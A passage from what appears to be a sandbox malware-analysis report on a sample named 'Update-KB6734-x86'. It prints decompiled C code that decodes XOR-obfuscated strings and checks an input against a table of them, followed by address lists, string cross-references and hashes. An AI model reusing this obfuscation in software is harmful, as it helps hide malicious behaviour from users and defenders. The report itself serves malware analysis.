				_a838 = 0x50;
				_a839 = 0x11;
				_a840 = 7;
				_a380 = 0x11;
				_a381 = 0x62;
				_a382 = 7;
				_a383 = 0x69;
				_a384 = 0xd;
				_a385 = 0x60;
				_a386 = 1;
				_a387 = 0x68;
				_a388 = 4;
				_t1067 = E00407370( &_a380);
				_t1281 = _t1280 + 8;
				_a92 = _t1067;
				_a640 = 0x8f;
				_a641 = 0x99;
				_a642 = 0x8e;
				_a643 = 0x8a;
				_a644 = 0x95;
				_a645 = 0x9f;
				_a646 = 0x99;
				_a647 = 0xfc;
				_t1068 = 0;
				do {
					 *(_t1281 + _t1068 + 0x280) =  *(_t1281 + _t1068 + 0x280) ^ 0x000000fc;
					_t1068 = _t1068 + 1;
				} while (_t1068 < 8);
				_a383 = 0x8a;
				_push(9);
				_push( &_a820);
				_a820 = 0xe6;
				_a821 = 0xd3;
				_a822 = 0xe5;
				_a823 = 0xc2;
				_a824 = 0xef;
				_a825 = 0xd8;
				_a826 = 0xd5;
				_a827 = 0x56;
				_a828 = 0x50;
				_a380 = 0xfb;
				_a381 = 0x88;
				_a382 = 0xe7;
				_a384 = 0xef;
				_a385 = 0x8d;
				_a386 = 0xe2;
				_a387 = 0x86;
				_a388 = 0xff;
				_t1124 = E00407370( &_a380);
				_t1282 = _t1281 + 8;
				_a783 = 0xc6;
				_a380 = 0xc6;
				_a776 = 0x54;
				_a777 = 0x44;
				_a778 = 0x24;
				_a779 = 0xa0;
				_a780 = 0x98;
				_a781 = 0x73;
				_a782 = 0x3a;
				_a381 = 0x5f;
				_a382 = 0x1d;
				_a383 = 0xf7;
				_a384 = 0xc5;
				_a385 = 0x49;
				_a386 = 0x2b;
				_a387 = 0x27;
				_a376 = E004073E0( &_a380, 8,  &_a776);
				_a532 = 0x74;
				_a533 = 0x72;
				_a534 = 0x64;
				_a535 = 0x6f;
				_a536 = 0x64;
				_a537 = 0x75;
				_a538 = 1;
				_t1073 = 0;
				do {
					 *(_t1282 + _t1073 + 0x218) =  *(_t1282 + _t1073 + 0x218) ^ 0x00000001;
					_t1073 = _t1073 + 1;
				} while (_t1073 < 7);
				_a36 = 0xc3;
				_a37 = 0xbd;
				_a38 = 0x29;
				_a39 = 0xe7;
				_a392 = 0xe7;
				_a393 = 0x5e;
				_a394 = 0xca;
				_a395 = 0xb4;
				_t1076 = E004073E0( &_a392, 4,  &_a36);
				_push(4);
				_push( &_a40);
				_t1267 = _t1076;
				_a40 = 0x91;
				_a41 = 0xb2;
				_a42 = 0;
				_a43 = 0x98;
				_a388 = 0xe0;
				_a389 = 0x99;
				_a390 = 0xf6;
				_a391 = 0x83;
				_t1077 = E00407370( &_a388);
				_t1283 = _t1282 + 8;
				_t1270 = _t1077;
				_a436 = 0xad;
				_a437 = 0xbb;
				_a438 = 0xa1;
				_a439 = 0xa6;
				_a440 = 0xd4;
				_t1078 = 0;
				do {
					 *(_t1283 + _t1078 + 0x1b8) =  *(_t1283 + _t1078 + 0x1b8) ^ 0x000000d4;
					_t1078 = _t1078 + 1;
				} while (_t1078 < 5);
				_a576 = 0x64;
				_a577 = 0xb0;
				_a578 = 0x5d;
				_a579 = 0x6c;
				_a580 = 0x63;
				_a581 = 0xb4;
				_a582 = 0xf8;
				_a392 = 0xfd;
				_a393 = 0xc0;
				_a394 = 4;
				_a395 = 0xf7;
				_a396 = 5;
				_a397 = 0xb1;
				_a398 = 8;
				_t1079 = 0;
				do {
					 *((char*)(_t1283 + _t1079 + 0x240)) =  *((intOrPtr*)(_t1283 + _t1079 + 0x240)) +  *((intOrPtr*)(_t1283 + _t1079 + 0x188));
					_t1079 = _t1079 + 1;
				} while (_t1079 < 7);
				_a28 = 0x5a;
				_a29 = 0x34;
				_a30 = 0xa;
				_a392 = 0xa;
				_a393 = 0x4c;
				_a394 = 0x22;
				_t1082 = E004073E0( &_a392, 3,  &_a28);
				_a16 = 0x4a;
				_a17 = 0x7b;
				_a18 = 0xef;
				_a19 = 0x45;
				_a388 = 0x1c;
				_a389 = 0xf9;
				_a390 = 0x81;
				_a391 = 0xbb;
				_t1164 = 0;
				do {
					 *((intOrPtr*)(_t1283 + _t1164 + 0x14)) =  *((intOrPtr*)(_t1283 + _t1164 + 0x14)) +  *((intOrPtr*)(_t1283 + _t1164 + 0x188));
					_t1164 = _t1164 + 1;
				} while (_t1164 < 4);
				_a136 = _a56;
				_a144 = _a64;
				_a132 =  &_a464;
				_a140 = _a96;
				_a148 = _a104;
				_a152 =  &_a560;
				_a156 =  &_a544;
				_a160 =  &_a448;
				_a164 =  &_a552;
				_a172 = _a72;
				_a180 = _a80;
				_a168 =  &_a668;
				_a176 = _a112;
				_a184 =  &_a456;
				_a188 =  &_a520;
				_a192 =  &_a488;
				_a200 = _a120;
				_a208 = _a88;
				_a196 =  &_a592;
				_a204 =  &_a416;
				_a212 =  &_a400;
				_a216 =  &_a432;
				_a220 =  &_a616;
				_a224 =  &_a24;
				_a232 = _a128;
				_a228 =  &_a472;
				_a240 = _a48;
				_a236 =  &_a656;
				_a244 =  &_a480;
				_a248 =  &_a496;
				_a252 =  &_a512;
				_a256 = _a100;
				_a260 =  &_a568;
				_a264 = _a116;
				_a268 =  &_a408;
				_a272 = _a108;
				_a276 = _a124;
				_a280 =  &_a624;
				_a284 =  &_a608;
				_a288 =  &_a424;
				_t1265 = _a916;
				_a292 = _a52;
				_a296 = _a60;
				_a300 = _a68;
				_a304 = _a76;
				_a308 =  &_a600;
				_a312 =  &_a584;
				_a316 = _a84;
				_a320 =  &_a632;
				_a324 =  &_a648;
				_a328 =  &_a528;
				_a332 =  &_a504;
				_a336 = _a92;
				_a340 =  &_a640;
				_a348 = _a380;
				_a352 =  &_a536;
				_a364 =  &_a440;
				_a356 = _t1267;
				_a344 = _t1124;
				_a360 = _t1270;
				_a368 =  &_a576;
				_a372 = _t1082;
				_a376 =  &_a20;
				_t1268 = 0;
				while(1) {
					_a16 = _a16 ^ _a16 * 0x00000038 & 0x000000ff;
					 *0x431c86 = 0x37;
					_t1086 = E00425320(_t1265,  *((intOrPtr*)(_t1283 + 0x84 + _t1268 * 4)));
					_t1283 = _t1283 + 8;
					if(_t1086 != 0) {
						break;
					}
					_t1268 = _t1268 + 1;
					if(_t1268 < 0x3e) {
						continue;
					} else {
						if(_a892 >= 0x10) {
							_push(_a872);
							L00424BCD();
							_t1283 = _t1283 + 4;
						}
						_t1087 = 1;
					}
					L72:
					 *[fs:0x0] = _a900;
					return E00424873(_t1087, _a896);
				}
				if(_a892 < 0x10) {
					_t1087 = 0;
				} else {
					_push(_a872);
					L00424BCD();
					_t1283 = _t1283 + 4;
					_t1087 = 0;
				}
				goto L72;
			}

0x00409119
0x00409120
0x00409127
0x0040912e
0x0040912f
0x00409134
0x0040913c
0x00409144
0x0040914c
0x00409154
0x0040915c
0x00409164
0x0040916c
0x00409174
0x0040917b
0x00409183
0x0040918b
0x00409193
0x0040919b
0x004091a3
0x004091b0
0x004091c0
0x004091c7
0x004091c8
0x004091cd
0x004091d5
0x004091dd
0x004091e5
0x004091ed
0x004091f5
0x004091fd
0x00409205
0x0040920d
0x00409215
0x0040921d
0x00409225
0x0040922d
0x00409235
0x0040923d
0x00409245
0x0040924d
0x00409255
0x0040925d
0x00409260
0x00409270
0x00409277
0x00409278
0x00409291
0x00409299
0x004092a1
0x004092a9
0x004092b1
0x004092b9
0x004092c1
0x004092c9
0x004092d1
0x004092d9
0x004092ed
0x004092fe
0x00409306
0x0040930e
0x00409316
0x0040931e
0x00409326
0x0040932e
0x00409336
0x0040933e
0x00409345
0x0040934d
0x00409355
0x0040935d
0x00409369
0x0040936a
0x00409372
0x00409376
0x0040937e
0x00409386
0x0040938e
0x00409396
0x0040939e
0x004093a6
0x004093ae
0x004093b6
0x004093be
0x004093c6
0x004093ce
0x004093d6
0x004093db
0x004093de
0x004093e2
0x004093ea
0x004093f2
0x004093fa
0x00409402
0x0040940a
0x00409412
0x0040941a
0x00409422
0x0040942a
0x00409432
0x00409440
0x00409450
0x00409457
0x00409458
0x0040945d
0x00409465
0x0040946d
0x00409475
0x0040947d
0x00409485
0x0040948d
0x00409495
0x0040949d
0x004094a5
0x004094ad
0x004094b5
0x004094bd
0x004094c5
0x004094cd
0x004094d0
0x004094e0
0x004094e7
0x004094e8
0x004094ed
0x004094f5
0x004094fd
0x00409505
0x0040950d
0x00409515
0x0040951d
0x00409520
0x00409520
0x00409528
0x00409529
0x0040952e
0x00409536
0x0040953e
0x00409546
0x0040954e
0x00409556
0x0040955e
0x00409566
0x0040956e
0x00409570
0x00409570
0x00409578
0x00409579
0x00409585
0x00409589
0x00409591
0x00409599
0x004095a1
0x004095a9
0x004095b1
0x004095b9
0x004095c1
0x004095c9
0x004095d1
0x004095d9
0x004095e0
0x004095e8
0x004095f0
0x004095f8
0x00409600
0x00409608
0x00409610
0x00409615
0x00409618
0x0040961c
0x00409624
0x0040962c
0x00409634
0x0040963c
0x00409644
0x0040964c
0x00409654
0x0040965c
0x00409664
0x0040966c
0x00409670
0x00409680
0x00409687
0x00409688
0x00409694
0x00409696
0x0040969e
0x004096a6
0x004096ae
0x004096b6
0x004096be
0x004096c6
0x004096ce
0x004096d6
0x004096de
0x004096e6
0x004096ee
0x004096f6
0x004096fe
0x00409706
0x0040970e
0x00409713
0x00409716
0x0040971a
0x00409721
0x00409729
0x00409731
0x00409739
0x00409741
0x00409749
0x00409751
0x00409759
0x00409761
0x00409769
0x00409770
0x00409780
0x00409787
0x00409788
0x0040978d
0x00409795
0x0040979d
0x004097a5
0x004097ad
0x004097b5
0x004097bd
0x004097c5
0x004097cd
0x004097d5
0x004097dd
0x004097e0
0x004097f0
0x004097f7
0x004097f8
0x004097ff
0x00409806
0x0040980d
0x00409815
0x0040981d
0x00409825
0x0040982d
0x00409835
0x0040983d
0x00409845
0x0040984d
0x00409855
0x0040985d
0x00409865
0x0040986d
0x00409875
0x0040987d
0x00409880
0x00409890
0x00409897
0x00409898
0x0040989d
0x004098a2
0x004098a7
0x004098ac
0x004098b1
0x004098b3
0x004098b3
0x004098b8
0x004098b9
0x004098be
0x004098c6
0x004098ce
0x004098d6
0x004098de
0x004098e6
0x004098ee
0x004098f0
0x004098f0
0x004098f8
0x004098f9
0x00409905
0x00409907
0x0040990f
0x00409917
0x0040991f
0x00409927
0x0040992f
0x00409937
0x0040993f
0x00409947
0x0040994f
0x00409957
0x0040995f
0x00409967
0x0040996f
0x00409974
0x00409977
0x0040997e
0x00409986
0x0040998e
0x00409996
0x0040999e
0x004099a6
0x004099ae
0x004099b6
0x004099be
0x004099c6
0x004099ce
0x004099d6
0x004099de
0x004099e6
0x004099ee
0x004099f6
0x004099fe
0x00409a06
0x00409a0e
0x00409a10
0x00409a20
0x00409a27
0x00409a28
0x00409a43
0x00409a4b
0x00409a53
0x00409a5b
0x00409a63
0x00409a6b
0x00409a73
0x00409a7b
0x00409a83
0x00409a8b
0x00409a93
0x00409a9b
0x00409aa3
0x00409aab
0x00409ab3
0x00409abb
0x00409ac2
0x00409aca
0x00409ad2
0x00409ada
0x00409ae7
0x00409aeb
0x00409af3
0x00409afb
0x00409b03
0x00409b0b
0x00409b13
0x00409b1b
0x00409b23
0x00409b2a
0x00409b32
0x00409b3a
0x00409b42
0x00409b4a
0x00409b50
0x00409b60
0x00409b67
0x00409b68
0x00409b6d
0x00409b75
0x00409b7d
0x00409b85
0x00409b8d
0x00409b95
0x00409b9d
0x00409ba5
0x00409bad
0x00409bb5
0x00409bbd
0x00409bc5
0x00409bcd
0x00409bd0
0x00409be0
0x00409be7
0x00409be8
0x00409bed
0x00409bf5
0x00409bfd
0x00409c05
0x00409c0d
0x00409c15
0x00409c1d
0x00409c25
0x00409c2d
0x00409c35
0x00409c3d
0x00409c45
0x00409c4d
0x00409c50
0x00409c60
0x00409c67
0x00409c68
0x00409c73
0x00409c77
0x00409c8b
0x00409c90
0x00409c95
0x00409c9a
0x00409ca2
0x00409caa
0x00409cb7
0x00409cbb
0x00409cc3
0x00409ccb
0x00409cd3
0x00409cdb
0x00409ce3
0x00409ceb
0x00409cf3
0x00409d00
0x00409d00
0x00409d08
0x00409d09
0x00409d22
0x00409d2a
0x00409d32
0x00409d3a
0x00409d42
0x00409d4a
0x00409d52
0x00409d5a
0x00409d62
0x00409d6a
0x00409d79
0x00409d7d
0x00409d85
0x00409d8d
0x00409d95
0x00409d9d
0x00409da4
0x00409dac
0x00409db4
0x00409dbc
0x00409dc4
0x00409dcb
0x00409dd0
0x00409de0
0x00409de7
0x00409de8
0x00409df4
0x00409dfb
0x00409dfd
0x00409e05
0x00409e0d
0x00409e15
0x00409e1d
0x00409e25
0x00409e2d
0x00409e35
0x00409e3d
0x00409e45
0x00409e4d
0x00409e59
0x00409e5b
0x00409e63
0x00409e67
0x00409e6f
0x00409e77
0x00409e7f
0x00409e87
0x00409e8f
0x00409e97
0x00409e9f
0x00409ea7
0x00409eaf
0x00409eb7
0x00409ebf
0x00409ec7
0x00409ecf
0x00409ed7
0x00409edf
0x00409ee7
0x00409eef
0x00409ef7
0x00409efe
0x00409f01
0x00409f05
0x00409f0c
0x00409f14
0x00409f1c
0x00409f24
0x00409f2c
0x00409f33
0x00409f3b
0x00409f43
0x00409f50
0x00409f50
0x00409f58
0x00409f59
0x00409f5e
0x00409f66
0x00409f6e
0x00409f76
0x00409f7e
0x00409f86
0x00409f8e
0x00409f96
0x00409f9e
0x00409fa0
0x00409fa0
0x00409fa8
0x00409fa9
0x00409fae
0x00409fb6
0x00409fbe
0x00409fc6
0x00409fce
0x00409fd6
0x00409fde
0x00409fe6
0x00409fee
0x00409ff6
0x00409ffe
0x0040a000
0x0040a010
0x0040a017
0x0040a018
0x0040a021
0x0040a023
0x0040a02b
0x0040a030
0x0040a035
0x0040a03a
0x0040a03f
0x0040a047
0x0040a04f
0x0040a057
0x0040a05f
0x0040a06b
0x0040a06d
0x0040a075
0x0040a079
0x0040a081
0x0040a089
0x0040a091
0x0040a099
0x0040a0a1
0x0040a0a9
0x0040a0b1
0x0040a0b9
0x0040a0c1
0x0040a0c9
0x0040a0d0
0x0040a0d8
0x0040a0e0
0x0040a0e8
0x0040a0f0
0x0040a0f8
0x0040a100
0x0040a108
0x0040a110
0x0040a118
0x0040a120
0x0040a12d
0x0040a13d
0x0040a144
0x0040a158
0x0040a160
0x0040a168
0x0040a170
0x0040a178
0x0040a180
0x0040a188
0x0040a190
0x0040a198
0x0040a1a0
0x0040a1a8
0x0040a1b0
0x0040a1bd
0x0040a1c8
0x0040a1ca
0x0040a1d2
0x0040a1da
0x0040a1e2
0x0040a1ea
0x0040a1f2
0x0040a1fa
0x0040a202
0x0040a20a
0x0040a212
0x0040a21a
0x0040a222
0x0040a227
0x0040a22a
0x0040a22e
0x0040a236
0x0040a23e
0x0040a246
0x0040a24e
0x0040a256
0x0040a25e
0x0040a266
0x0040a26e
0x0040a276
0x0040a27e
0x0040a286
0x0040a28e
0x0040a296
0x0040a29e
0x0040a2a6
0x0040a2ae
0x0040a2b0
0x0040a2c0
0x0040a2c7
0x0040a2c8
0x0040a2cd
0x0040a2d5
0x0040a2dd
0x0040a2e5
0x0040a2ed
0x0040a2f5
0x0040a2fd
0x0040a305
0x0040a310
0x0040a310
0x0040a318
0x0040a319
0x0040a325
0x0040a327
0x0040a32f
0x0040a337
0x0040a33f
0x0040a347
0x0040a34f
0x0040a357
0x0040a35f
0x0040a367
0x0040a36f
0x0040a377
0x0040a37f
0x0040a387
0x0040a38f
0x0040a397
0x0040a39f
0x0040a3a7
0x0040a3ae
0x0040a3b3
0x0040a3b6
0x0040a3ba
0x0040a3c2
0x0040a3ca
0x0040a3d2
0x0040a3da
0x0040a3e2
0x0040a3ea
0x0040a3f2
0x0040a3fa
0x0040a402
0x0040a40a
0x0040a412
0x0040a41a
0x0040a422
0x0040a42a
0x0040a432
0x0040a43a
0x0040a440
0x0040a450
0x0040a457
0x0040a458
0x0040a45d
0x0040a465
0x0040a46d
0x0040a475
0x0040a47d
0x0040a485
0x0040a48d
0x0040a495
0x0040a49d
0x0040a4a5
0x0040a4ad
0x0040a4b5
0x0040a4bd
0x0040a4c5
0x0040a4cd
0x0040a4d5
0x0040a4dd
0x0040a4e0
0x0040a4f0
0x0040a4f7
0x0040a4f8
0x0040a4fd
0x0040a505
0x0040a50d
0x0040a515
0x0040a51d
0x0040a525
0x0040a52d
0x0040a535
0x0040a53d
0x0040a545
0x0040a54d
0x0040a555
0x0040a55d
0x0040a565
0x0040a56d
0x0040a570
0x0040a580
0x0040a587
0x0040a588
0x0040a58d
0x0040a595
0x0040a59d
0x0040a5a5
0x0040a5ad
0x0040a5b5
0x0040a5bd
0x0040a5c5
0x0040a5cd
0x0040a5d5
0x0040a5dd
0x0040a5e5
0x0040a5ed
0x0040a5f0
0x0040a600
0x0040a607
0x0040a608
0x0040a614
0x0040a616
0x0040a61e
0x0040a626
0x0040a62e
0x0040a636
0x0040a63e
0x0040a646
0x0040a64e
0x0040a656
0x0040a65e
0x0040a666
0x0040a66e
0x0040a676
0x0040a67e
0x0040a686
0x0040a68e
0x0040a696
0x0040a69e
0x0040a6a6
0x0040a6ae
0x0040a6b5
0x0040a6b8
0x0040a6bc
0x0040a6c4
0x0040a6cc
0x0040a6d4
0x0040a6db
0x0040a6e3
0x0040a6eb
0x0040a6f3
0x0040a6fb
0x0040a700
0x0040a700
0x0040a708
0x0040a709
0x0040a70e
0x0040a71c
0x0040a71e
0x0040a726
0x0040a72e
0x0040a736
0x0040a73e
0x0040a746
0x0040a74e
0x0040a756
0x0040a75e
0x0040a766
0x0040a76e
0x0040a776
0x0040a77e
0x0040a786
0x0040a78e
0x0040a796
0x0040a79e
0x0040a7a6
0x0040a7b3
0x0040a7b7
0x0040a7c1
0x0040a7c8
0x0040a7dc
0x0040a7e4
0x0040a7ec
0x0040a7f4
0x0040a7fc
0x0040a804
0x0040a80c
0x0040a814
0x0040a81c
0x0040a824
0x0040a82c
0x0040a834
0x0040a83c
0x0040a844
0x0040a851
0x0040a858
0x0040a860
0x0040a868
0x0040a870
0x0040a878
0x0040a880
0x0040a888
0x0040a890
0x0040a892
0x0040a892
0x0040a89a
0x0040a89b
0x0040a8b1
0x0040a8b6
0x0040a8bb
0x0040a8c0
0x0040a8c5
0x0040a8cd
0x0040a8d5
0x0040a8dd
0x0040a8e5
0x0040a8ee
0x0040a8ef
0x0040a8f7
0x0040a8f9
0x0040a8fe
0x0040a903
0x0040a908
0x0040a90d
0x0040a915
0x0040a91d
0x0040a925
0x0040a92d
0x0040a932
0x0040a935
0x0040a937
0x0040a93f
0x0040a947
0x0040a94f
0x0040a957
0x0040a95f
0x0040a961
0x0040a961
0x0040a969
0x0040a96a
0x0040a96f
0x0040a977
0x0040a97f
0x0040a987
0x0040a98f
0x0040a997
0x0040a99f
0x0040a9a7
0x0040a9af
0x0040a9b7
0x0040a9bf
0x0040a9c7
0x0040a9cf
0x0040a9d7
0x0040a9df
0x0040a9f0
0x0040aa00
0x0040aa07
0x0040aa08
0x0040aa1e
0x0040aa23
0x0040aa28
0x0040aa2d
0x0040aa35
0x0040aa3d
0x0040aa45
0x0040aa4a
0x0040aa4f
0x0040aa54
0x0040aa59
0x0040aa5e
0x0040aa66
0x0040aa6e
0x0040aa76
0x0040aa7e
0x0040aa80
0x0040aa87
0x0040aa8b
0x0040aa8c
0x0040aa95
0x0040aaa0
0x0040aaae
0x0040aab9
0x0040aac4
0x0040aad2
0x0040aae0
0x0040aaee
0x0040aafc
0x0040ab07
0x0040ab12
0x0040ab20
0x0040ab2b
0x0040ab39
0x0040ab47
0x0040ab55
0x0040ab60
0x0040ab6b
0x0040ab79
0x0040ab87
0x0040ab95
0x0040aba3
0x0040abb1
0x0040abbc
0x0040abca
0x0040abdc
0x0040abe3
0x0040abf1
0x0040abff
0x0040ac0d
0x0040ac1f
0x0040ac26
0x0040ac38
0x0040ac3f
0x0040ac51
0x0040ac5c
0x0040ac6a
0x0040ac78
0x0040ac86
0x0040ac91
0x0040ac9c
0x0040aca3
0x0040acae
0x0040acb9
0x0040acc0
0x0040acce
0x0040ace0
0x0040ace7
0x0040acf5
0x0040ad03
0x0040ad11
0x0040ad23
0x0040ad2a
0x0040ad3f
0x0040ad46
0x0040ad5b
0x0040ad62
0x0040ad74
0x0040ad7b
0x0040ad82
0x0040ad89
0x0040ad90
0x0040ad97
0x0040ad9e
0x0040ada0
0x0040adaf
0x0040adbc
0x0040adc3
0x0040adc8
0x0040adcd
0x00000000
0x00000000
0x0040adcf
0x0040add3
0x00000000
0x0040add5
0x0040addd
0x0040ade6
0x0040ade7
0x0040adec
0x0040adec
0x0040adef
0x0040adef
0x0040adf4
0x0040adfe
0x0040ae18
0x0040ae18
0x0040ae49
0x0040ae3d
0x0040ae4b
0x0040ae52
0x0040ae53
0x0040ae58
0x0040ae5b
0x0040ae5b
0x00000000

Strings

8, xrefs: 0040991F
2, xrefs: 0040A3DA
N, xrefs: 004093FA
Z, xrefs: 00409D00
P, xrefs: 0040A766
d, xrefs: 0040A96F
V, xrefs: 00409F66
9, xrefs: 004092A1
6, xrefs: 00409A5B
}, xrefs: 00409485
", xrefs: 0040AA3D
{, xrefs: 0040AA4F
., xrefs: 00409CCB
E, xrefs: 0040A03F
c, xrefs: 0040A98F
d, xrefs: 0040A160
*, xrefs: 00409B03
O, xrefs: 00409F6E
[, xrefs: 0040A1F2
q, xrefs: 00409BAD
>, xrefs: 0040981D
<, xrefs: 00409A73
Z, xrefs: 0040AA1E
p, xrefs: 004093EA
I, xrefs: 0040990F
I, xrefs: 00409A8B
4, xrefs: 00409D95
, xrefs: 0040A4FD
3, xrefs: 00409986
), xrefs: 0040980D
>, xrefs: 00409134
', xrefs: 0040A844
:, xrefs: 0040A80C
., xrefs: 00409FA0
E, xrefs: 00409CAA
K, xrefs: 00409C05
5, xrefs: 00409C8B
*, xrefs: 0040A5A5
<, xrefs: 00409739
s, xrefs: 0040A804
u, xrefs: 0040A880
l, xrefs: 0040A987
\, xrefs: 0040A03A
G, xrefs: 0040997E
$, xrefs: 00409AD2
g, xrefs: 004096A6
K, xrefs: 00409F8E
1, xrefs: 00409BED
=, xrefs: 00409CE3
$, xrefs: 0040913C
K, xrefs: 00409EA7
K, xrefs: 00409A4B
7, xrefs: 0040A5C5
;, xrefs: 0040A62E
), xrefs: 0040A8BB
5, xrefs: 0040961C
!, xrefs: 0040A565
=, xrefs: 0040920D
n, xrefs: 00409D85
E, xrefs: 004091E5
C, xrefs: 00409F76
L, xrefs: 0040AA35
7, xrefs: 00409C15
_, xrefs: 00409B95
\, xrefs: 0040931E
g, xrefs: 0040A0A9
}, xrefs: 0040A34F
Z, xrefs: 00409E9F
!, xrefs: 004091CD
I, xrefs: 0040A834
&, xrefs: 0040A32F
^, xrefs: 0040A595
h, xrefs: 0040A69E
y, xrefs: 004091ED
T, xrefs: 00409D6A
5, xrefs: 0040A646
[, xrefs: 00409E97
_, xrefs: 0040A814
9, xrefs: 0040A1D2
o, xrefs: 004098E6
), xrefs: 00409D7D
%, xrefs: 00409A43
}, xrefs: 0040A505
e, xrefs: 00409AFB
p, xrefs: 0040A3C2
t, xrefs: 0040A858
_, xrefs: 00409AAB
", xrefs: 0040A047
4, xrefs: 00409CDB
T, xrefs: 0040A7DC
9, xrefs: 0040A057
&, xrefs: 004095A9
H, xrefs: 0040A0A1
d, xrefs: 0040A868
:, xrefs: 0040A3E2
#, xrefs: 0040A626
J, xrefs: 004096B6
l, xrefs: 0040998E
P, xrefs: 0040A64E
E, xrefs: 0040AA59
f, xrefs: 0040999E
@, xrefs: 0040A030
I, xrefs: 0040A58D
-, xrefs: 00409706
i, xrefs: 004096CE
D, xrefs: 0040A7E4
+, xrefs: 0040A83C
', xrefs: 004093E2
i, xrefs: 00409E0D
j, xrefs: 00409624
`, xrefs: 0040A68E
4, xrefs: 0040AA23
O, xrefs: 0040A5D5
d, xrefs: 0040A878
V, xrefs: 0040A75E
J, xrefs: 0040AA4A
4, xrefs: 00409465
;, xrefs: 00409CC3
{, xrefs: 0040A170
t, xrefs: 00409E87
q, xrefs: 00409AF3
j, xrefs: 0040A0B1
3, xrefs: 00409CD3
#, xrefs: 00409E1D
/, xrefs: 004098DE
H, xrefs: 004091DD
B, xrefs: 00409F86
?, xrefs: 0040A555
., xrefs: 00409F96
r, xrefs: 0040A860
o, xrefs: 004098F0
}, xrefs: 0040939E
$, xrefs: 0040A7EC
;, xrefs: 0040A5BD
a, xrefs: 004095A1
_, xrefs: 00409475
F, xrefs: 0040A63E
o, xrefs: 0040A870
&, xrefs: 0040A51D
-, xrefs: 0040A33F
_, xrefs: 0040A61E
E, xrefs: 0040A236
[, xrefs: 004099BE
L, xrefs: 0040A04F
], xrefs: 0040A97F
^, xrefs: 00409F7E
Z, xrefs: 00409CEB
c, xrefs: 00409591
-, xrefs: 0040992F

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID:
String ID: $!$!$"$"$#$#$$$$$$$%$&$&$&$'$'$)$)$)$*$*$+$-$-$-$.$.$.$/$1$2$3$3$4$4$4$4$5$5$5$6$7$7$8$9$9$9$:$:$;$;$;$<$<$=$=$>$>$?$@$B$C$D$E$E$E$E$E$F$G$H$H$I$I$I$I$J$J$K$K$K$K$L$L$N$O$O$P$P$T$T$V$V$Z$Z$Z$Z$[$[$[$\$\$]$^$^$_$_$_$_$_$`$a$c$c$d$d$d$d$e$f$g$g$h$i$i$j$j$l$l$n$o$o$o$p$p$q$q$r$s$t$t$u$y${${$}$}$}$}
API String ID: 0-2726720408
Opcode ID: d90f52c8fe020ae98f048a66078bda6c6929cc3fb972793910aa825a6ba0364b
Instruction ID: c0d7f1d9a2f8d6b118605d4ad9cba7deefa6b9821a418fff6e8ca7fff8a3d635
Opcode Fuzzy Hash: d90f52c8fe020ae98f048a66078bda6c6929cc3fb972793910aa825a6ba0364b
Instruction Fuzzy Hash: 2CF2AF2000C7C299D332C63898587DFBFD55BA7328F588BADD1ED4A2E2D675020AD767

Uniqueness

Uniqueness Score: -1.00%

Function 004091A7, Relevance: 184.9, Strings: 147, Instructions: 1169
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E004091A7(void* __eax, char __ebx, signed int _a16, char _a17, char _a18, char _a19, char _a20, char _a24, char _a25, char _a26, char _a27, char _a28, char _a29, char _a30, char _a32, char _a33, char _a34, char _a35, char _a36, char _a37, char _a38, char _a39, char _a40, char _a41, char _a42, char _a43, intOrPtr _a44, intOrPtr _a48, intOrPtr _a52, intOrPtr _a56, intOrPtr _a60, intOrPtr _a64, intOrPtr _a68, intOrPtr _a72, intOrPtr _a76, intOrPtr _a80, intOrPtr _a84, intOrPtr _a88, intOrPtr _a92, intOrPtr _a96, intOrPtr _a100, intOrPtr _a104, intOrPtr _a108, intOrPtr _a112, intOrPtr _a116, intOrPtr _a120, intOrPtr _a124, intOrPtr _a128, char* _a132, intOrPtr _a136, intOrPtr _a140, intOrPtr _a144, intOrPtr _a148, char* _a152, char* _a156, char* _a160, char* _a164, char* _a168, intOrPtr _a172, intOrPtr _a176, intOrPtr _a180, char* _a184, char* _a188, char* _a192, char* _a196, intOrPtr _a200, char* _a204, intOrPtr _a208, char* _a212, char* _a216, char* _a220, char* _a224, char* _a228, intOrPtr _a232, char* _a236, intOrPtr _a240, char* _a244, char* _a248, char* _a252, intOrPtr _a256, char* _a260, intOrPtr _a264, char* _a268, intOrPtr _a272, intOrPtr _a276, char* _a280, char* _a284, char* _a288, intOrPtr _a292, intOrPtr _a296, intOrPtr _a300, intOrPtr _a304, char* _a308, char* _a312, intOrPtr _a316, char* _a320, char* _a324, char* _a328, char* _a332, intOrPtr _a336, char* _a340, intOrPtr _a344, intOrPtr _a348, char* _a352, intOrPtr _a356, intOrPtr _a360, char* _a364, char* _a368, char _a372, char _a373, char _a374, char _a375, void* _a376, char _a377, char _a378, char _a379, char _a380, char _a381, char _a382, char _a383, char _a384, char _a385, char _a386, char _a387, char _a388, char _a389, char _a390, char _a391, char _a392, char _a393, char _a394, char _a395, char _a396, char _a397, char _a398, char _a400, char _a401, char _a402, char _a403, char _a404, char _a405, char _a406, char _a407, char _a408, char _a416, char _a417, char _a418, char _a419, char _a420, char _a424, char _a425, char _a426, char _a427, char _a428, char _a432, char _a433, char _a434, char _a435, char _a436, char _a437, char _a438, char _a439, char _a440, char _a448, char _a449, char _a450, char _a451, char _a452, char _a456, char _a464, char _a472, char _a473, char _a474, char _a475, char _a476, char _a477, char _a478, char _a479, char _a480, char _a481, char _a488, char _a489, char _a490, char _a491, char _a492, char _a493, char _a496, char _a497, char _a498, char _a499, char _a500, char _a501, char _a504, char _a505, char _a506, char _a507, char _a508, char _a509, char _a512, char _a513, char _a514, char _a515, char _a516, char _a517, char _a520, char _a521, char _a522, char _a523, char _a524, char _a525, char _a526, char _a528, char _a529, char _a530, char _a531, char _a532, char _a533, char _a534, char _a535, char _a536, char _a537, char _a538, char _a544, char _a552, char _a560, char _a564, char _a565, char _a566, char _a567, char _a568, char _a569, char _a570, char _a576, char _a577, char _a578, char _a579, char _a580, char _a581, char _a582, char _a584, char _a585, char _a586, char _a587, char _a588, char _a589, char _a590, char _a592, char _a593, char _a594, char _a595, char _a596, char _a597, 